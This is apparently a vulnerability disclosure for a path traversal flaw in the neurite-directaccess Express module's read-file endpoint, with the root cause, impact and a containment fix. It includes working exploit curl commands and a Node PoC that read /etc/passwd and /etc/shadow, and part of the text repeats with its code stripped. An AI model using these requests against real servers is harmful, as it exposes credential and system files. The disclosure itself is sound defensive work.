Summary
/directaccess/read-file?path= accepts an attacker-controlled path, resolves it with path.resolve() (no containment), and streams the file back. No authentication. Server binds all interfaces on port 7070.
Root Cause
app.get('/read-file', (req, res) => {
const filePath = req.query.path ? path.resolve(req.query.path) : null;
// no base-directory check
fs.createReadStream(filePath).pipe(res);
});
path.resolve(userInput) returns an absolute path with no restriction. The result is passed directly to createReadStream.
Exploit
curl "http://<host>:7070/directaccess/read-file?path=/etc/passwd"
curl "http://<host>:7070/directaccess/read-file?path=/etc/shadow"
poc.js
const http = require("http");
const express = require("express");
const directAccess = require("neurite-directaccess/direct-access");
const app = express();
app.use("/directaccess", directAccess);
const server = http.createServer(app);
server.listen(0, "127.0.0.1", () => {
const { port } = server.address();
http.get(
`http://127.0.0.1:${port}/directaccess/read-file?path=/etc/passwd`,
(res) => {
let body = "";
res.on("data", (c) => (body += c));
res.on("end", () => {
const ok = body.includes("root:");
console.log(ok ? "VULNERABLE" : "NOT CONFIRMED");
console.log(body.slice(0, 120));
server.close();
process.exit(ok ? 0 : 1);
});
}
);
});
Impact
Any file readable by the Node process is exfiltrated over the network without authentication. CORS is the only middleware — it restricts browser-origin requests but not direct HTTP clients.
Bonus: /directaccess/navigate?path=/ returns arbitrary directory listings with the same lack of containment.
Fix
Resolve against a base directory and reject escapes:
const base = path.resolve(allowedRoot);
const resolved = path.resolve(base, req.query.path);
if (!resolved.startsWith(base + path.sep)) {
return res.status(403).json({ error: 'Forbidden' });
}
I opened a fix commit to fix this vulnerability #79
Summary
/directaccess/read-file?path=accepts an attacker-controlled path, resolves it withpath.resolve()(no containment), and streams the file back. No authentication. Server binds all interfaces on port 7070.Root Cause
path.resolve(userInput)returns an absolute path with no restriction. The result is passed directly tocreateReadStream.Exploit
poc.js
Impact
Any file readable by the Node process is exfiltrated over the network without authentication. CORS is the only middleware — it restricts browser-origin requests but not direct HTTP clients.
Bonus:
/directaccess/navigate?path=/returns arbitrary directory listings with the same lack of containment.Fix
Resolve against a base directory and reject escapes:
I opened a fix commit to fix this vulnerability #79